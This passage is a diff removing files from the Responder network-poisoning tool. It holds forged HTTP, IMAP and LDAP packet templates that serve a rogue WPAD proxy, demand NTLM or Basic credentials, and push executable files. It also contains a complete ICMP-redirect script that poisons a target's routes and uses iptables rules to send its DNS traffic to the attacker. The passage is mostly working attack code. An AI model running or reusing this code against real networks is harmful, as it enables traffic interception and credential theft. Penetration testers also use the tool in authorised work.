-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
-class WPADScript(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("CRLF",          "\r\n\r\n"),
-        ("Payload",       "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServerExeFile(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ContentType",   "Content-Type: application/octet-stream\r\n"),
-        ("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
-        ("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
-        ("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
-        ("Connection",    "Connection: keep-alive\r\n"),
-        ("X-CCC",         "US\r\n"),
-        ("X-CID",         "2\r\n"),
-        ("CRLF",          "\r\n"),
-        ("Payload",       "jj"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysExeFile(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ContentType",   "Content-Type: application/octet-stream\r\n"),
-        ("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
-        ("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
-        ("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentDisp",   "Content-Disposition: attachment; filename="),
-        ("ContentDiFile", ""),
-        ("FileCRLF",      ";\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
-        ("Connection",    "Connection: keep-alive\r\n"),
-        ("X-CCC",         "US\r\n"),
-        ("X-CID",         "2\r\n"),
-        ("CRLF",          "\r\n"),
-        ("Payload",       "jj"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysNormalFile(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ContentType",   "Content-Type: text/html\r\n"),
-        ("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
-        ("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
-        ("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
-        ("Connection",    "Connection: keep-alive\r\n"),
-        ("X-CCC",         "US\r\n"),
-        ("X-CID",         "2\r\n"),
-        ("CRLF",          "\r\n"),
-        ("Payload",       "jj"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_407_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 407 Authentication Required\r\n"),
-        ("Via",           "Via: 1.1 SMB-TOOLKIT\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "Proxy-Authenticate: NTLM\r\n"),
-        ("Connection",    "Connection: close \r\n"),
-        ("PConnection",   "proxy-Connection: close \r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])
-
-#HTTP NTLM packet.
-class IIS_407_NTLM_Challenge_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 407 Authentication Required\r\n"),
-        ("Via",           "Via: 1.1 SMB-TOOLKIT\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWWAuth",       "Proxy-Authenticate: NTLM "),
-        ("Payload",       ""),
-        ("Payload-CRLF",  "\r\n"),
-        ("PoweredBy",     "X-Powered-By: SMB-TOOLKIT\r\n"),
-        ("Len",           "Content-Length: 0\r\n"),
-        ("CRLF",          "\r\n"),                                            
-    ])
-
-    def calculate(self,payload):
-        self.fields["Payload"] = b64encode(payload)
-
-#HTTP Basic answer packet.
-class IIS_Basic_407_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])

IMAPPackets.py

@@ -1,55 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#IMAP4 Greating class
-class IMAPGreating(Packet):
-    fields = OrderedDict([
-        ("Code",             "* OK IMAP4 service is ready."),
-        ("CRLF",        "\r\n"), 
-        ]) 
-
-#IMAP4 Capability class
-class IMAPCapability(Packet):
-    fields = OrderedDict([
-        ("Code",             "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
-        ("CRLF",        "\r\n"), 
-        ]) 
-
-#IMAP4 Capability class
-class IMAPCapabilityEnd(Packet):
-    fields = OrderedDict([
-        ("Tag",             ""),
-        ("Message",         " OK CAPABILITY completed."),
-        ("CRLF",        "\r\n"), 
-        ]) 

Icmp-Redirect.py

@@ -1,267 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import sys,socket,struct,optparse,random,pipes
-from socket import *
-from odict import OrderedDict
-from random import randrange
-from time import sleep
-from subprocess import call
-from pipes import quote
-
-parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
-                               prog=sys.argv[0],
-                               )
-parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
-
-parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
-
-parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
-
-parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
-
-parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
-
-parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
-
-parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
-
-options, args = parser.parse_args()
-
-if options.OURIP is None:
-   print "-i mandatory option is missing.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.OriginalGwAddr is None:
-   print "-g mandatory option is missing, please provide the original gateway address.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.VictimIP is None:
-   print "-t mandatory option is missing, please provide a target.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.Interface is None:
-   print "-I mandatory option is missing, please provide your network interface.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.ToThisHost is None:
-   print "-r mandatory option is missing, please provide a destination target.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.AlternateGwAddr is None:
-   AlternateGwAddr = options.OURIP
-
-#Setting some vars.
-OURIP = options.OURIP
-OriginalGwAddr = options.OriginalGwAddr
-AlternateGwAddr = options.AlternateGwAddr
-VictimIP = options.VictimIP
-ToThisHost = options.ToThisHost
-ToThisHost2 = options.ToThisHost2
-Interface = options.Interface
-
-def Show_Help(ExtraHelpData):
-   help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
-   help+= ExtraHelpData
-   print help
-
-MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-def GenCheckSum(data):
-    s = 0
-    for i in range(0, len(data), 2):
-        q = ord(data[i]) + (ord(data[i+1]) << 8)
-        f = s+q
-        s = (f & 0xffff) + (f >> 16)
-    return struct.pack("<H",~s & 0xffff)
-
-#####################################################################
-#ARP Packets
-#####################################################################
-class EthARP(Packet):
-    fields = OrderedDict([
-        ("DstMac", "\xff\xff\xff\xff\xff\xff"),
-        ("SrcMac", ""),
-        ("Type", "\x08\x06" ), #ARP
-
-    ])
-
-class ARPWhoHas(Packet):
-    fields = OrderedDict([
-        ("HwType",    "\x00\x01"),
-        ("ProtoType", "\x08\x00" ), #IP
-        ("MacLen",    "\x06"),
-        ("IPLen",     "\x04"),
-        ("OpCode",    "\x00\x01"),
-        ("SenderMac", ""),
-        ("SenderIP",  "\x00\xff\x53\x4d"),
-        ("DstMac",    "\x00\x00\x00\x00\x00\x00"),
-        ("DstIP",     "\x00\x00\x00\x00"),
-
-    ])
-
-    def calculate(self): 
-        self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
-        self.fields["SenderIP"] = inet_aton(OURIP)    
-
-#####################################################################
-#ICMP Redirect Packets
-#####################################################################
-class Eth2(Packet):
-    fields = OrderedDict([
-        ("DstMac", ""),
-        ("SrcMac", ""),
-        ("Type", "\x08\x00" ), #IP
-
-    ])
-
-class IPPacket(Packet):
-    fields = OrderedDict([
-        ("VLen",       "\x45"),
-        ("DifField",   "\x00"),
-        ("Len",        "\x00\x38"),
-        ("TID",        "\x25\x25"),
-        ("Flag",       "\x00"),
-        ("FragOffset", "\x00"),
-        ("TTL",        "\x1d"),
-        ("Cmd",        "\x01"), #ICMP
-        ("CheckSum",   "\x00\x00"),
-        ("SrcIP",   ""),
-        ("DestIP",     ""),
-        ("Data",       ""),
-
-    ])
-
-    def calculate(self): 
-        self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
-        self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])) 
-        self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
-        # Calc Len First
-        CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
-        self.fields["Len"] = struct.pack(">H", len(CalculateLen))
-        # Then CheckSum this packet
-        CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
-        self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
-
-class ICMPRedir(Packet):
-    fields = OrderedDict([
-        ("Type",       "\x05"),
-        ("OpCode",     "\x01"),
-        ("CheckSum",   "\x00\x00"),
-        ("GwAddr",     ""),
-        ("Data",       ""),
-
-    ])
-
-    def calculate(self): 
-        #Set the values
-        self.fields["GwAddr"] = inet_aton(OURIP)  
-        # Then CheckSum this packet
-        CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
-        self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
-
-class DummyUDP(Packet):
-    fields = OrderedDict([
-        ("SrcPort",    "\x00\x35"), #port 53
-        ("DstPort",    "\x00\x35"),
-        ("Len",        "\x00\x08"), #Always 8 in this case.
-        ("CheckSum",   "\x00\x00"), #CheckSum disabled.
-    ])
-
-def ReceiveArpFrame(DstAddr):
-    s = socket(AF_PACKET, SOCK_RAW)
-    s.settimeout(5)
-    Protocol = 0x0806
-    s.bind((Interface, Protocol))
-    OurMac = s.getsockname()[4]
-    Eth = EthARP(SrcMac=OurMac)
-    Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
-    Arp.calculate()
-    final = str(Eth)+str(Arp)
-    try:
-       s.send(final)
-       data = s.recv(1024)
-       DstMac = data[22:28]
-       DestMac = DstMac.encode('hex')
-       PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
-       return PrintMac,DstMac
-    except:
-       print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
-       exit(1)
-
-def IcmpRedirectSock(DestinationIP):
-    PrintMac,DestMac = ReceiveArpFrame(VictimIP)
-    print '[ARP]Target Mac address is :',PrintMac
-    PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
-    print '[ARP]Router Mac address is :',PrintMac
-    s = socket(AF_PACKET, SOCK_RAW)
-    Protocol = 0x0800
-    s.bind((Interface, Protocol))
-    Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
-    IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
-    IPPackUDP.calculate()
-    ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
-    ICMPPack.calculate()
-    IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) 
-    IPPack.calculate()
-    final = str(Eth)+str(IPPack)
-    s.send(final)
-    print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
-
-def FindWhatToDo(ToThisHost2):
-    if ToThisHost2 != None:
-       Show_Help('Hit CRTL-C to kill this script')
-       RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
-    if ToThisHost2 == None:
-       Show_Help(MoreHelp)
-       IcmpRedirectSock(DestinationIP=ToThisHost)
-       exit()
-
-def RunThisInLoop(host, host2, ip):
-    dns1 = pipes.quote(host)
-    dns2 = pipes.quote(host2)
-    ouripadd = pipes.quote(ip)
-    call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
-    call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
-    print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
-    while True:
-       IcmpRedirectSock(DestinationIP=dns1)
-       IcmpRedirectSock(DestinationIP=dns2)
-       print "[+]Repoisoning the target in 8 minutes..."
-       sleep(480)
-
-FindWhatToDo(ToThisHost2)
-

LDAPPackets.py

@@ -1,238 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-
-class LDAPSearchDefaultPacket(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",   "\x30"),
-        ("ParserHeadASNLen",  "\x0c"),
-        ("MessageIDASNID",    "\x02"),
-        ("MessageIDASNLen",   "\x01"),
-        ("MessageIDASNStr",   "\x0f"),
-        ("OpHeadASNID",       "\x65"),
-        ("OpHeadASNIDLen",    "\x07"),
-        ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
-    ])
-
-class LDAPSearchSupportedCapabilitiesPacket(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",          "\x30"),
-        ("ParserHeadASNLenOfLen",    "\x84"),
-        ("ParserHeadASNLen",         "\x00\x00\x00\x7e"),#126
-        ("MessageIDASNID",           "\x02"),
-        ("MessageIDASNLen",          "\x01"),
-        ("MessageIDASNStr",          "\x02"),
-        ("OpHeadASNID",              "\x64"),
-        ("OpHeadASNIDLenOfLen",      "\x84"),
-        ("OpHeadASNIDLen",           "\x00\x00\x00\x75"),#117
-        ("ObjectName",               "\x04\x00"),
-        ("SearchAttribASNID",        "\x30"),
-        ("SearchAttribASNLenOfLen",  "\x84"),
-        ("SearchAttribASNLen",       "\x00\x00\x00\x6d"),#109
-        ("SearchAttribASNID1",       "\x30"),
-        ("SearchAttribASN1LenOfLen", "\x84"),
-        ("SearchAttribASN1Len",      "\x00\x00\x00\x67"),#103
-        ("SearchAttribASN2ID",       "\x04"),
-        ("SearchAttribASN2Len",      "\x15"),#21
-        ("SearchAttribASN2Str",      "supportedCapabilities"),
-        ("SearchAttribASN3ID",       "\x31"),
-        ("SearchAttribASN3LenOfLen", "\x84"),
-        ("SearchAttribASN3Len",      "\x00\x00\x00\x4a"),
-        ("SearchAttrib1ASNID",       "\x04"),
-        ("SearchAttrib1ASNLen",      "\x16"),#22
-        ("SearchAttrib1ASNStr",      "1.2.840.113556.1.4.800"),
-        ("SearchAttrib2ASNID",       "\x04"),
-        ("SearchAttrib2ASNLen",      "\x17"),#23
-        ("SearchAttrib2ASNStr",      "1.2.840.113556.1.4.1670"),
-        ("SearchAttrib3ASNID",       "\x04"),
-        ("SearchAttrib3ASNLen",      "\x17"),#23
-        ("SearchAttrib3ASNStr",      "1.2.840.113556.1.4.1791"),
-        ("SearchDoneASNID",          "\x30"),
-        ("SearchDoneASNLenOfLen",    "\x84"),
-        ("SearchDoneASNLen",         "\x00\x00\x00\x10"),#16
-        ("MessageIDASN2ID",          "\x02"),
-        ("MessageIDASN2Len",         "\x01"),
-        ("MessageIDASN2Str",         "\x02"),
-        ("SearchDoneStr",            "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
-        ## No need to calculate anything this time, this packet is generic.
-    ])
-
-class LDAPSearchSupportedMechanismsPacket(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",          "\x30"),
-        ("ParserHeadASNLenOfLen",    "\x84"),
-        ("ParserHeadASNLen",         "\x00\x00\x00\x60"),#96
-        ("MessageIDASNID",           "\x02"),
-        ("MessageIDASNLen",          "\x01"),
-        ("MessageIDASNStr",          "\x02"),
-        ("OpHeadASNID",              "\x64"),
-        ("OpHeadASNIDLenOfLen",      "\x84"),
-        ("OpHeadASNIDLen",           "\x00\x00\x00\x57"),#87
-        ("ObjectName",               "\x04\x00"),
-        ("SearchAttribASNID",        "\x30"),
-        ("SearchAttribASNLenOfLen",  "\x84"),
-        ("SearchAttribASNLen",       "\x00\x00\x00\x4f"),#79
-        ("SearchAttribASNID1",       "\x30"),
-        ("SearchAttribASN1LenOfLen", "\x84"),
-        ("SearchAttribASN1Len",      "\x00\x00\x00\x49"),#73
-        ("SearchAttribASN2ID",       "\x04"),
-        ("SearchAttribASN2Len",      "\x17"),#23
-        ("SearchAttribASN2Str",      "supportedSASLMechanisms"),
-        ("SearchAttribASN3ID",       "\x31"),
-        ("SearchAttribASN3LenOfLen", "\x84"),
-        ("SearchAttribASN3Len",      "\x00\x00\x00\x2a"),#42
-        ("SearchAttrib1ASNID",       "\x04"),
-        ("SearchAttrib1ASNLen",      "\x06"),#6
-        ("SearchAttrib1ASNStr",      "GSSAPI"),
-        ("SearchAttrib2ASNID",       "\x04"),
-        ("SearchAttrib2ASNLen",      "\x0a"),#10
-        ("SearchAttrib2ASNStr",      "GSS-SPNEGO"),
-        ("SearchAttrib3ASNID",       "\x04"),
-        ("SearchAttrib3ASNLen",      "\x08"),#8
-        ("SearchAttrib3ASNStr",      "EXTERNAL"),
-        ("SearchAttrib4ASNID",       "\x04"),
-        ("SearchAttrib4ASNLen",      "\x0a"),#10
-        ("SearchAttrib4ASNStr",      "DIGEST-MD5"),
-        ("SearchDoneASNID",          "\x30"),
-        ("SearchDoneASNLenOfLen",    "\x84"),
-        ("SearchDoneASNLen",         "\x00\x00\x00\x10"),#16
-        ("MessageIDASN2ID",          "\x02"),
-        ("MessageIDASN2Len",         "\x01"),
-        ("MessageIDASN2Str",         "\x02"),
-        ("SearchDoneStr",            "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
-        ## No need to calculate anything this time, this packet is generic.
-    ])
-
-class LDAPNTLMChallenge(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",          "\x30"),
-        ("ParserHeadASNLenOfLen",    "\x84"),
-        ("ParserHeadASNLen",         "\x00\x00\x00\xD0"),#208
-        ("MessageIDASNID",           "\x02"),
-        ("MessageIDASNLen",          "\x01"),
-        ("MessageIDASNStr",          "\x02"),
-        ("OpHeadASNID",              "\x61"),
-        ("OpHeadASNIDLenOfLen",      "\x84"),
-        ("OpHeadASNIDLen",           "\x00\x00\x00\xc7"),#199
-        ("Status",                   "\x0A"),
-        ("StatusASNLen",             "\x01"),
-        ("StatusASNStr",             "\x0e"), #In Progress.
-        ("MatchedDN",                "\x04\x00"), #Null
-        ("ErrorMessage",             "\x04\x00"), #Null
-        ("SequenceHeader",           "\x87"),
-        ("SequenceHeaderLenOfLen",   "\x81"),
-        ("SequenceHeaderLen",        "\x82"), #188
-        ("NTLMSSPSignature",         "NTLMSSP"),
-        ("NTLMSSPSignatureNull",  "\x00"),
-        ("NTLMSSPMessageType",    "\x02\x00\x00\x00"),
-        ("NTLMSSPNtWorkstationLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
-        ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
-        ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
-        ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("NTLMSSPNtTargetInfoLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
-        ("NegTokenInitSeqMechMessageVersionLow","\x02"),
-        ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
-        ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
-        ("NTLMSSPNtWorkstationName","SMB12"),
-        ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
-        ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), 
-        ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), 
-        ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
-    ])
-
-    def calculate(self):
-
-        ##Convert strings to Unicode first...
-        self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
-
-        ###### Workstation Offset
